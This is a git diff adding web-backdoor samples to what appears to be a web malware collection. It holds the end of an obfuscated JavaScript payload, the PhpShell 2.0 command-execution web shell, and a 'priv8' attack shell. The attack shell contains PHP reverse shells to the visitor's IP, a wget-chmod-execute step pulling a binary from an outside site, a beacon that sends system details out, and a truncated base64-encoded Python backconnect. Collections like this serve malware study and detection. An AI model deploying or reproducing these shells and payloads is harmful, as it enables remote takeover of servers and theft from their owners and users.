+fF7eSD8[42]="5Cu005c%255Cu007"; +fF7eSD8[43]="5%255Cu0030%255Cu"; +fF7eSD8[44]="0030%255Cu0035"; +fF7eSD8[45]="%255Cu0033%255C"; +fF7eSD8[46]="u005c%255Cu0075"; +fF7eSD8[47]="%255Cu0030%255Cu"; +fF7eSD8[48]="0030%255Cu003"; +fF7eSD8[49]="4%255Cu0033%255"; +fF7eSD8[50]="Cu005c%255Cu007"; +fF7eSD8[51]="5%255Cu0030%255Cu"; +fF7eSD8[52]="0030%255Cu0035%255"; +fF7eSD8[53]="Cu0032%255Cu00"; +fF7eSD8[54]="5c%255Cu0075%255C"; +fF7eSD8[55]="u0030%255Cu0030%25"; +fF7eSD8[56]="5Cu0034%255Cu00"; +fF7eSD8[57]="39%255Cu005c%255Cu"; +fF7eSD8[58]="0075%255Cu0030%255"; +fF7eSD8[59]="Cu0030%255Cu003"; +fF7eSD8[60]="5%255Cu0030%255C"; +fF7eSD8[61]="u005c%255Cu0075"; +fF7eSD8[62]="%255Cu0030%255Cu00"; +fF7eSD8[63]="30%255Cu0035%255"; +fF7eSD8[64]="Cu0034%255Cu005"; +fF7eSD8[65]="c%255Cu0075%255C"; +fF7eSD8[66]="u0030%255Cu0030%25"; +fF7eSD8[67]="5Cu0032%255Cu"; +fF7eSD8[68]="0030%255Cu005c%25"; +fF7eSD8[69]="5Cu0075%255Cu00"; +fF7eSD8[70]="30%255Cu0030%255"; +fF7eSD8[71]="Cu0035%255Cu003"; +fF7eSD8[72]="3%255Cu005c%255Cu0"; +fF7eSD8[73]="075%255Cu0030"; +fF7eSD8[74]="%255Cu0030%255Cu00"; +fF7eSD8[75]="35%255Cu0032%25"; +fF7eSD8[76]="5Cu005c%255Cu00"; +fF7eSD8[77]="75%255Cu0030%255Cu"; +fF7eSD8[78]="0030%255Cu003"; +fF7eSD8[79]="4%255Cu0033%255Cu"; +fF7eSD8[80]="005c%255Cu0075%25"; +fF7eSD8[81]="5Cu0030%255Cu"; +fF7eSD8[82]="0030%255Cu0033"; +fF7eSD8[83]="%255Cu0064%255Cu0"; +fF7eSD8[84]="05c%255Cu0075%25"; +fF7eSD8[85]="5Cu0030%255Cu003"; +fF7eSD8[86]="0%255Cu0036%255"; +fF7eSD8[87]="Cu0038%255Cu0"; +fF7eSD8[88]="05c%255Cu0075%255C"; +fF7eSD8[89]="u0030%255Cu003"; +fF7eSD8[90]="0%255Cu0037%255C"; +fF7eSD8[91]="u0034%255Cu005c%25"; +fF7eSD8[92]="5Cu0075%255Cu"; +fF7eSD8[93]="0030%255Cu0030"; +fF7eSD8[94]="%255Cu0037%255Cu"; +fF7eSD8[95]="0034%255Cu005c%25"; +fF7eSD8[96]="5Cu0075%255Cu00"; +fF7eSD8[97]="30%255Cu0030%255Cu"; +fF7eSD8[98]="0037%255Cu0030%255"; +fF7eSD8[99]="Cu005c%255Cu00"; +fF7eSD8[100]="75%255Cu0030%255"; +fF7eSD8[101]="Cu0030%255Cu00"; +fF7eSD8[102]="33%255Cu0061%255Cu"; +fF7eSD8[103]="005c%255Cu0075"; +fF7eSD8[104]="%255Cu0030%255C"; +fF7eSD8[105]="u0030%255Cu0032%25"; +fF7eSD8[106]="5Cu0066%255Cu00"; +fF7eSD8[107]="5c%255Cu0075%255Cu"; +fF7eSD8[108]="0030%255Cu0030%25"; +fF7eSD8[109]="5Cu0032%255Cu0"; +fF7eSD8[110]="066%255Cu005c"; +fF7eSD8[111]="%255Cu0075%255Cu"; +fF7eSD8[112]="0030%255Cu0030%25"; +fF7eSD8[113]="5Cu0036%255Cu003"; +fF7eSD8[114]="4%255Cu005c%255C"; +fF7eSD8[115]="u0075%255Cu003"; +fF7eSD8[116]="0%255Cu0030%255C"; +fF7eSD8[117]="u0036%255Cu00"; +fF7eSD8[118]="31%255Cu005c%255"; +fF7eSD8[119]="Cu0075%255Cu00"; +fF7eSD8[120]="30%255Cu0030%255Cu"; +fF7eSD8[121]="0037%255Cu0034"; +fF7eSD8[122]="%255Cu005c%255Cu00"; +fF7eSD8[123]="75%255Cu0030%255C"; +fF7eSD8[124]="u0030%255Cu003"; +fF7eSD8[125]="6%255Cu0031%255"; +fF7eSD8[126]="Cu005c%255Cu007"; +fF7eSD8[127]="5%255Cu0030%255"; +fF7eSD8[128]="Cu0030%255Cu0"; +fF7eSD8[129]="032%255Cu0065"; +fF7eSD8[130]="%255Cu005c%255C"; +fF7eSD8[131]="u0075%255Cu0030%25"; +fF7eSD8[132]="5Cu0030%255Cu003"; +fF7eSD8[133]="7%255Cu0034%255Cu0"; +fF7eSD8[134]="05c%255Cu0075%255C"; +fF7eSD8[135]="u0030%255Cu00"; +fF7eSD8[136]="30%255Cu0033%255C"; +fF7eSD8[137]="u0030%255Cu005"; +fF7eSD8[138]="c%255Cu0075%255Cu"; +fF7eSD8[139]="0030%255Cu003"; +fF7eSD8[140]="0%255Cu0033%255C"; +fF7eSD8[141]="u0030%255Cu005"; +fF7eSD8[142]="c%255Cu0075%255"; +fF7eSD8[143]="Cu0030%255Cu0"; +fF7eSD8[144]="030%255Cu0036%255C"; +fF7eSD8[145]="u0063%255Cu005c"; +fF7eSD8[146]="%255Cu0075%255C"; +fF7eSD8[147]="u0030%255Cu00"; +fF7eSD8[148]="30%255Cu0037%25"; +fF7eSD8[149]="5Cu0033%255Cu00"; +fF7eSD8[150]="5c%255Cu0075%255"; +fF7eSD8[151]="Cu0030%255Cu00"; +fF7eSD8[152]="30%255Cu0032%255"; +fF7eSD8[153]="Cu0065%255Cu005c"; +fF7eSD8[154]="%255Cu0075%255C"; +fF7eSD8[155]="u0030%255Cu00"; +fF7eSD8[156]="30%255Cu0036%255Cu"; +fF7eSD8[157]="0066%255Cu005c%255"; +fF7eSD8[158]="Cu0075%255Cu00"; +fF7eSD8[159]="30%255Cu0030%255Cu"; +fF7eSD8[160]="0037%255Cu0032%25"; +fF7eSD8[161]="5Cu005c%255Cu007"; +fF7eSD8[162]="5%255Cu0030%255C"; +fF7eSD8[163]="u0030%255Cu0036%25"; +fF7eSD8[164]="5Cu0037%255Cu00"; +fF7eSD8[165]="5c%255Cu0075%255"; +fF7eSD8[166]="Cu0030%255Cu0030"; +fF7eSD8[167]="%255Cu0032%255Cu00"; +fF7eSD8[168]="66%255Cu005c%255"; +fF7eSD8[169]="Cu0075%255Cu0"; +fF7eSD8[170]="030%255Cu0030%255C"; +fF7eSD8[171]="u0037%255Cu0037"; +fF7eSD8[172]="%255Cu005c%255Cu"; +fF7eSD8[173]="0075%255Cu0030%25"; +fF7eSD8[174]="5Cu0030%255Cu"; +fF7eSD8[175]="0036%255Cu0038%255"; +fF7eSD8[176]="Cu005c%255Cu007"; +fF7eSD8[177]="5%255Cu0030%255"; +fF7eSD8[178]="Cu0030%255Cu0036"; +fF7eSD8[179]="%255Cu0035%255Cu00"; +fF7eSD8[180]="5c%255Cu0075%255Cu"; +fF7eSD8[181]="0030%255Cu003"; +fF7eSD8[182]="0%255Cu0037%255C"; +fF7eSD8[183]="u0032%255Cu00"; +fF7eSD8[184]="5c%255Cu0075%255"; +fF7eSD8[185]="Cu0030%255Cu0"; +fF7eSD8[186]="030%255Cu0036%25"; +fF7eSD8[187]="5Cu0035%255Cu0"; +fF7eSD8[188]="05c%255Cu0075"; +fF7eSD8[189]="%255Cu0030%255Cu0"; +fF7eSD8[190]="030%255Cu0032"; +fF7eSD8[191]="%255Cu0065%255Cu"; +fF7eSD8[192]="005c%255Cu0075"; +fF7eSD8[193]="%255Cu0030%255Cu00"; +fF7eSD8[194]="30%255Cu0036%25"; +fF7eSD8[195]="5Cu0061%255Cu"; +fF7eSD8[196]="005c%255Cu007"; +fF7eSD8[197]="5%255Cu0030%255"; +fF7eSD8[198]="Cu0030%255Cu0037"; +fF7eSD8[199]="%255Cu0033%255Cu0"; +fF7eSD8[200]="05c%255Cu0075%255C"; +fF7eSD8[201]="u0030%255Cu00"; +fF7eSD8[202]="30%255Cu0033%255Cu"; +fF7eSD8[203]="0065%255Cu005"; +fF7eSD8[204]="c%255Cu0075%255Cu"; +fF7eSD8[205]="0030%255Cu0030%25"; +fF7eSD8[206]="5Cu0033%255Cu00"; +fF7eSD8[207]="63%255Cu005c%255C"; +fF7eSD8[208]="u0075%255Cu0030"; +fF7eSD8[209]="%255Cu0030%255Cu0"; +fF7eSD8[210]="032%255Cu0066%255"; +fF7eSD8[211]="Cu005c%255Cu0"; +fF7eSD8[212]="075%255Cu0030%25"; +fF7eSD8[213]="5Cu0030%255Cu"; +fF7eSD8[214]="0035%255Cu0033%255"; +fF7eSD8[215]="Cu005c%255Cu007"; +fF7eSD8[216]="5%255Cu0030%255Cu0"; +fF7eSD8[217]="030%255Cu0034%255"; +fF7eSD8[218]="Cu0033%255Cu00"; +fF7eSD8[219]="5c%255Cu0075%25"; +fF7eSD8[220]="5Cu0030%255Cu0"; +fF7eSD8[221]="030%255Cu0035"; +fF7eSD8[222]="%255Cu0032%255Cu0"; +fF7eSD8[223]="05c%255Cu0075"; +fF7eSD8[224]="%255Cu0030%255Cu"; +fF7eSD8[225]="0030%255Cu0034%25"; +fF7eSD8[226]="5Cu0039%255Cu0"; +fF7eSD8[227]="05c%255Cu0075%25"; +fF7eSD8[228]="5Cu0030%255Cu"; +fF7eSD8[229]="0030%255Cu0035%25"; +fF7eSD8[230]="5Cu0030%255Cu"; +fF7eSD8[231]="005c%255Cu0075%255"; +fF7eSD8[232]="Cu0030%255Cu0"; +fF7eSD8[233]="030%255Cu0035"; +fF7eSD8[234]="%255Cu0034%255Cu0"; +fF7eSD8[235]="05c%255Cu0075"; +fF7eSD8[236]="%255Cu0030%255Cu"; +fF7eSD8[237]="0030%255Cu0033%255"; +fF7eSD8[238]="Cu0065%255Cu0"; +fF7eSD8[239]="027%255Cu0029"; +fF7eSD8[240]="%255Cu003c%255C"; +fF7eSD8[241]="u002f%255Cu0073%25"; +fF7eSD8[242]="5Cu0063%255Cu007"; +fF7eSD8[243]="2%255Cu0069%255Cu"; +fF7eSD8[244]="0070%255Cu007"; +fF7eSD8[245]="4%255Cu003e%2527%25"; +fF7eSD8[246]="29%253C/script%25"; +fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri"; +fF7eSD8[248]="pt%3E"; +for (i = 0; i < fF7eSD8.length; i ++) +{ + document.write(unescape(fF7eSD8[i])) +} +// --> +</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/phpshell.php b/web-malware-collection-master/Backdoors/PHP/phpshell.php new file mode 100755 index 0000000..8620c5e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/phpshell.php @@ -0,0 +1,259 @@ +<?php // -*- coding: utf-8 -*- + +/* + + ************************************************************** + * PhpShell 2.0 * + ************************************************************** + $Id: phpshell.php,v 1.29 2004/03/27 00:59:26 gimpster Exp $ + + PhpShell is an interactive PHP script that will execute any command + entered. See the files README and INSTALL or + http://www.gimpster.com/wiki/PhpShell for further information. + + Copyright (C) 2000-2004 Martin Geisler <gimpster@gimpster.com> + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You can get a copy of the GNU General Public License from this + address: http://www.gnu.org/copyleft/gpl.html#SEC1 + You can also write to the Free Software Foundation, Inc., 59 Temple + Place - Suite 330, Boston, MA 02111-1307, USA. + +*/ + +/* Set your usernames and passwords like this: + + $passwd = array('username' => 'password'); + + You can add several pairs of usernames and passwords to the array + to give several different people access to PhpShell. + + $passwd = array('username_1' => 'password_1', + 'username_2' => 'password_2', + // ... + 'username_n' => 'password_n'); + +*/ +$passwd = array('dreatica' => 'php-shell'); + +/* Set your aliases here. Each key in the array will be substituted + * with the corresponding value before the commands are executed. */ +$aliases = array('ls' => 'ls -CvhF', + 'll' => 'ls -lvhF'); + +if (!isset($_SERVER['PHP_AUTH_USER']) || + !isset($_SERVER['PHP_AUTH_PW']) || + !isset($passwd[$_SERVER['PHP_AUTH_USER']]) || + $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) { + header('WWW-Authenticate: Basic realm="PhpShell 2.0"'); + header('HTTP/1.0 401 Unauthorized'); + $authenticated = false; +} else { + $authenticated = true; + + /* We now start the session. */ + session_start(); + + /* Initialize the session variables. */ + if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) { + $_SESSION['cwd'] = getcwd(); + $_SESSION['history'] = array(); + $_SESSION['output'] = ''; + } + + if (!empty($_REQUEST['command'])) { + if (get_magic_quotes_gpc()) { + /* We don't want to add the commands to the history in the + * escaped form, so we remove the backslashes now. */ + $_REQUEST['command'] = stripslashes($_REQUEST['command']); + } + + /* Save the command for late use in the JavaScript. If the + * command is already in the history, then the old entry is + * removed before the new entry is put into the list at the + * front. */ + if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) + unset($_SESSION['history'][$i]); + + array_unshift($_SESSION['history'], $_REQUEST['command']); + + /* Now append the commmand to the output. */ + $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n"; + + /* Initialize the current working directory. */ + if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) { + $_SESSION['cwd'] = dirname(__FILE__); + } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) { + /* The current command is a 'cd' command which we have to handle + * as an internal shell command. */ + + if ($regs[1][0] == '/') { + /* Absolute path, we use it unchanged. */ + $new_dir = $regs[1]; + } else { + /* Relative path, we append it to the current working + * directory. */ + $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; + } + + /* Transform '/./' into '/' */ + while (strpos($new_dir, '/./') !== false) + $new_dir = str_replace('/./', '/', $new_dir); + + /* Transform '//' into '/' */ + while (strpos($new_dir, '//') !== false) + $new_dir = str_replace('//', '/', $new_dir); + + /* Transform 'x/..' into '' */ + while (preg_match('|/\.\.(?!\.)|', $new_dir)) + $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); + + if ($new_dir == '') $new_dir = '/'; + + /* Try to change directory. */ + if (@chdir($new_dir)) { + $_SESSION['cwd'] = $new_dir; + } else { + $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; + } + + } else { + /* The command is not a 'cd' command, so we execute it after + * changing the directory and save the output. */ + chdir($_SESSION['cwd']); + + /* Alias expansion. */ + $length = strcspn($_REQUEST['command'], " \t"); + $token = substr($_REQUEST['command'], 0, $length); + if (isset($aliases[$token])) + $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); + + $p = proc_open($_REQUEST['command'], + array(1 => array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + /* Read output sent to stdout. */ + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + /* Read output sent to stderr. */ + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + } + + /* Build the command history for use in the JavaScript */ + if (empty($_SESSION['history'])) { + $js_command_hist = '""'; + } else { + $escaped = array_map('addslashes', $_SESSION['history']); + $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; + } +} + +header('Content-Type: text/html; charset=UTF-8'); +/* Since most installations still operate with short_open_tag enabled, + * we have to echo this string from within PHP: */ +echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n"; +?> +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> +<head> + <title>PhpShell 2.0</title> +<script type="text/javascript" language="JavaScript"> + var current_line = 0; + var command_hist = new Array(<?php echo $js_command_hist ?>); + var last = 0; + + function key(e) { + if (!e) var e = window.event; + + if (e.keyCode == 38 && current_line < command_hist.length-1) { + command_hist[current_line] = document.shell.command.value; + current_line++; + document.shell.command.value = command_hist[current_line]; + } + + if (e.keyCode == 40 && current_line > 0) { + command_hist[current_line] = document.shell.command.value; + current_line--; + document.shell.command.value = command_hist[current_line]; + } + + } + +function init() { + document.shell.setAttribute("autocomplete", "off"); + document.shell.output.scrollTop = document.shell.output.scrollHeight; + document.shell.command.focus(); +} + + </script> +</head> + +<body onload="init()"> + +<h1>PhpShell 2.0</h1> + +<?php if (!$authenticated) { ?> +<p>You failed to authenticate yourself to PhpShell. You can <a +href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p> + +<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having +problems with installing PhpShell.</p> + +</body> +</html> + +<?php // ' <-- fix syntax highlight in Emacs + exit; +} + +error_reporting (E_ALL); + +if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24; + +?> + +<p>Current Working Directory: <code><?php echo $_SESSION['cwd'] ?></code></p> + +<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> +<div> +<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>"> +<?php +$lines = substr_count($_SESSION['output'], "\n"); +$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines)); +echo rtrim($padding . $_SESSION['output']); +?> +<</textarea> +</div><br> +<p class="prompt"> + $&nbsp;<input class="prompt" name="command" type="text" + onkeyup="key(event)" size="78" tabindex="1"> +</p> +<p> + <input type="submit" value="Execute Command" /> + <input type="submit" name="reset" value="Reset" /> + Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" /> +</p> +</form> +</body> +</html> diff --git a/web-malware-collection-master/Backdoors/PHP/priv8-2012-bypass-shell.txt b/web-malware-collection-master/Backdoors/PHP/priv8-2012-bypass-shell.txt new file mode 100755 index 0000000..b6475d6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/priv8-2012-bypass-shell.txt @@ -0,0 +1,2357 @@ +shell image:http://my.picresize.com/vault2/CY02MYRI70.jpg +shell +cgitelnetbypass1 +cgishell bypass +python shell bypass +ssi bypass +php3.x bypass +safe_mode bypass +backconnect bypass +server site list +server site pageranks +suexec bypass +show source bypass +file read bypass +symlink all bypass +metasploit backconnect +eval code bypass +python backconnect +perl socket backconnect +php backconnect + +coded by izleyici + + + +shell code: + +<BODY OnKeyPress="GetKeyCode();" text=#ffffff bottomMargin=0 +bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 +marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" +height=0 cellSpacing=0 borderColorDark=#666666 cellPadding=2 +width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 +bordercolor="#C0C0C0"><tr><th width="101%" height="2" nowrap +bordercolor="#C0C0C0" valign="top" colspan="2"><center><font +color="#0033FF"> +� � � � <pre>#Priv8 2011 Attack Shell#</pre> +� <hr> +� � � � <font face="Wingdings"><img border="0" +src="http://priv8.iblogger.org/s.php?'+<?echo "uname -a : "; echo +(php_uname())?>";" width="0" height="0"></a></font> +</font> +<a onclick="window.open('http://www.schliinberg.de/templates/pageranktara.php','POPUP','width=900 +0,height=500,scrollbars=10');return false;" +href="http://www.schliinberg.de/templates/pageranktara.php"><font +color="red"><b>Server Pagerank</b></font></a>&nbsp;<a +onclick="window.open('http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php +echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 +0,height=500,scrollbars=10');return false;" +href="http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php +echo $_SERVER ['SERVER_ADDR']; ?>"><font color="green"><b>Site +list</b></font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_6"><font +color="yellow">Cgi Shell</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_7"><font color="white">Python +Shell</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_8&bypass=cp"><font color="blue">Symlink +Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_9"><font +color="orange">perl Bypass Tools</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_10"><font color="yellow">Auto +Root</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_14"><font +color="red">Kullan&#305;c&#305; List</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_15"><font +color="pink">ShowsourceRead</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_11"><font color="orange">Cgi Shell Priv +pass=dz</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_16"><font +color="green">Config Shell</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_18"><font +color="orange">LitespeedBypas</font></a><br>&nbsp;&nbsp;<a +href="?BackConnect=PHP_19"><font +color="pink">SsiBypass</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_20"><font +color="red">SuExecByps</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_22"><font color="white">Wordpress Mysql Admin +Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_23"><font +color="white">Joomla Mysql Admin Shell</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_24"><font color="white">Php Eval +Bypass</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_25"><font +color="white">Php4 Bind 8888 Eval</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_26"><font color="white">Cpanel+Ftp+Telnet +Cracker</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_27"><font +color="white">Safe Mode php.ini</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_28"><font color="white">Mini +Cgi</font></a><br>&nbsp;&nbsp;<a href="?BackConnect=PHP_29"><font +color="red ">izo ozel ssi shell</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_30"><font color="red">Php3.0 Priv8 +Bypass</font></a></td> +</center></th></tr><tr><td> +<?php +function printit ($string) { +� �if (!$daemon) { +� � � print "$string\n"; +� �} +} +$bc = $_GET["BackConnect"]; +switch($bc){ +case "PHP_1": + +set_time_limit (0); +$VERSION = "1.0"; +$ip = $_SERVER["REMOTE_ADDR"]; +$port = 22; +$chunk_size = 1400; +$write_a = null; +$error_a = null; +$shell = 'uname -a; w; id; /bin/sh -i'; +$daemon = 0; +$debug = 0; +if (function_exists('pcntl_fork')) { + +� �$pid = pcntl_fork(); + +� �if ($pid == -1) { +� � � printit("ERROR: Can't fork"); +� � � exit(1); +� �} + +� �if ($pid) { +� � � exit(0); �// Parent exits +� �} +� �if (posix_setsid() == -1) { +� � � printit("Error: Can't setsid()"); +� � � exit(1); +� �} + +� �$daemon = 1; +} else { +� �print("WARNING: Failed to daemonise. �This is quite common and not fatal."); +} + +// Change to a safe directory +chdir("/"); + +// Remove any umask we inherited +umask(0); + +// +// Do the reverse shell... +// + +// Open reverse connection +$sock = fsockopen($ip, $port, $errno, $errstr, 30); +if (!$sock) { +� �printit("$errstr ($errno)"); +� �exit(1); +} + +// Spawn shell process +$descriptorspec = array( +� �0 => array("pipe", "r"), �// stdin is a pipe that the child will read from +� �1 => array("pipe", "w"), �// stdout is a pipe that the child will write to +� �2 => array("pipe", "w") � // stderr is a pipe that the child will write to +); + +$process = proc_open($shell, $descriptorspec, $pipes); + +if (!is_resource($process)) { +� �printit("ERROR: Can't spawn shell"); +� �exit(1); +} + +// Set everything to non-blocking +// Reason: Occsionally reads will block, even though stream_select +tells us they won't +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +stream_set_blocking($pipes[2], 0); +stream_set_blocking($sock, 0); + +printit("Successfully opened reverse shell to $ip:$port"); + +while (1) { +� �// Check for end of TCP connection +� �if (feof($sock)) { +� � � printit("ERROR: Shell connection terminated"); +� � � break; +� �} + +� �// Check for end of STDOUT +� �if (feof($pipes[1])) { +� � � printit("ERROR: Shell process terminated"); +� � � break; +� �} + +� �// Wait until a command is end down $sock, or some +� �// command output is available on STDOUT or STDERR +� �$read_a = array($sock, $pipes[1], $pipes[2]); +� �$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); + +� �// If we can read from the TCP socket, send +� �// data to process's STDIN +� �if (in_array($sock, $read_a)) { +� � � if ($debug) printit("SOCK READ"); +� � � $input = fread($sock, $chunk_size); +� � � if ($debug) printit("SOCK: $input"); +� � � fwrite($pipes[0], $input); +� �} + +� �// If we can read from the process's STDOUT +� �// send data down tcp connection +� �if (in_array($pipes[1], $read_a)) { +� � � if ($debug) printit("STDOUT READ"); +� � � $input = fread($pipes[1], $chunk_size); +� � � if ($debug) printit("STDOUT: $input"); +� � � fwrite($sock, $input); +� �} + +� �// If we can read from the process's STDERR +� �// send data down tcp connection +� �if (in_array($pipes[2], $read_a)) { +� � � if ($debug) printit("STDERR READ"); +� � � $input = fread($pipes[2], $chunk_size); +� � � if ($debug) printit("STDERR: $input"); +� � � fwrite($sock, $input); +� �} +} + +fclose($sock); +fclose($pipes[0]); +fclose($pipes[1]); +fclose($pipes[2]); +proc_close($process); + +// Like print, but does nothing if we've daemonised ourself +// (I can't figure out how to redirect STDOUT like a proper daemon) +break; +case "PHP_2": +� � � � � $ipim=$_SERVER["REMOTE_ADDR"]; +� � � � �$portum="22"; +� � � � �if ($ipim <> "") +� � � � �{ +� � � � �$mucx=fsockopen($ipim , $portum , $errno, $errstr ); +� � � � �if (!$mucx){ +� � � � � � � �$result = "Error: didnt connect !!!"; +� � � � �} +� � � � �else { + +� � � � �$zamazing0="\n"; +� � � � �fputs ($mucx ,"\nwelcome ZoRBaCK\n\n"); +� � � � �fputs($mucx , system("uname -a") .$zamazing0 ); +� � � � �fputs($mucx , system("pwd") .$zamazing0 ); +� � � � �fputs($mucx , system("id") .$zamazing0.$zamazing0 ); +� � � � �while(!feof($mucx)){ +� � � � �fputs ($mucx); +� � � � $one="[$"; +� � � � $two="]"; +� � � � $result= fgets ($mucx, 8192); +� � � � $message=`$result`; +� � � �fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); +� � � } +� � � fclose ($mucx); +� � � � �} +� � � � �} + +break; +case "PHP_3": +� � � � �$fipn=$_SERVER["REMOTE_ADDR"]; +� � � � �$bportn="22"; +� � � � �if ($fipn <> "") +� � � � �{ +� � � � �$fp=fsockopen($fipn , $bportn , $errno, $errstr); +� � � � �if (!$fp){ +� � � � � � � �$result = "Error: could not open socket connection"; +� � � � �} +� � � � �else { +� � � � �fputs ($fp ,"\n +whoami +root +:)\n\n"); +� � � while(!feof($fp)){ +� � � �fputs ($fp); +� � � �$result= fgets ($fp, 4096); +� � � $message=`$result`; +� � � �fputs ($fp,"--> ".$message."\n"); +� � � } +� � � fclose ($fp); +� � � � �} +� � � � �} +break; +case "PHP_4": +#!/usr/bin/perl +# �coded by izo +{ +print "root by izo\n"; +$fip=$_SERVER["REMOTE_ADDR"]; +$bport="22"; +system("wget http://paradiseinpuntagorda.com/images/dc"); +system("chmod 777 dc"); +system("./dc $fip $bport"); +} +break; +case "PHP_5": +# �coded by izo +{ +print "Ba&#287;lan&#305;l&#305;yor...\n"; +$fipc=$_SERVER["REMOTE_ADDR"]; +$bportc="22"; +$izoemmi = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMjIyMjIyMjIyMjIyMjIyMjIyMjIwojLS0tLS0tLS0tLS0t +LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiMgICAgICAgICAgICAgICAgICAg +ICAgLl9fX19fX19fX19fX19fX19fX19fXy4gIHwKIyAgIGNvZGVkIGJ5IHNsYXYwbmljICB8IHNs +YXYwbmljMEBnbWFpbC5jb20gfCAgfCAgICAKIyAgICAgICAgICAgICAgICAgICAgICBeLS0tLS0t +LS0tLS0tLS0tLS0tLS0tXiAgfAojIHNpdGU6IHNsYXYwbmljLnhzcy5ydSAgICAgICAgICAgICAg +ICAgICAgICAgICB8CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t +LS0tLSsKI2ZvciBzZXR1cCBhIGxpc3RlbmluZyBwb3J0IG9uIHlvdXIgaG9zdDogbmMgLWwgLXAg +W3BvcnRdIAojVXNlOiBweXRob24gc2xfYmMucHkgW2hvc3RdIFtwb3J0XSB8fCBzbF9iYy5weSAt +ZGVmYXVsdCBzZXR0aW5ncwoKZnJvbSBzb2NrZXQgaW1wb3J0ICoKaW1wb3J0IG9zCmltcG9ydCBt +ZDUKaW1wb3J0IHN5cwoKIyMjIyMjIyMjIyNfRGVmYXVsdF8jIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMKaG9zdD0nbG9jYWxob3N0JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCnBvcnQ9NjY2 +NiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwphdXRvY29tbWFuZHM9InVuc2V0 +IEhJU1RGSUxFO3VuYW1lIC1hO2lkIiAgICMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMjIyMjIyMjIyMjIyMKaWYgbGVuKHN5cy5hcmd2KT4xOgogICAgaG9zdD1zeXMuYXJndlsxXQog +ICAgaWYgbGVuKHN5cy5hcmd2KT4yOgogICAgICAgIHBvcnQ9aW50KHN5cy5hcmd2WzJdKQpwcmlu +dCAiWytdaG9zdDpwb3J0PSAlczolaSIlKGhvc3QscG9ydCkKICAgICAgICAKaW5mbz1vcy5wb3Bl 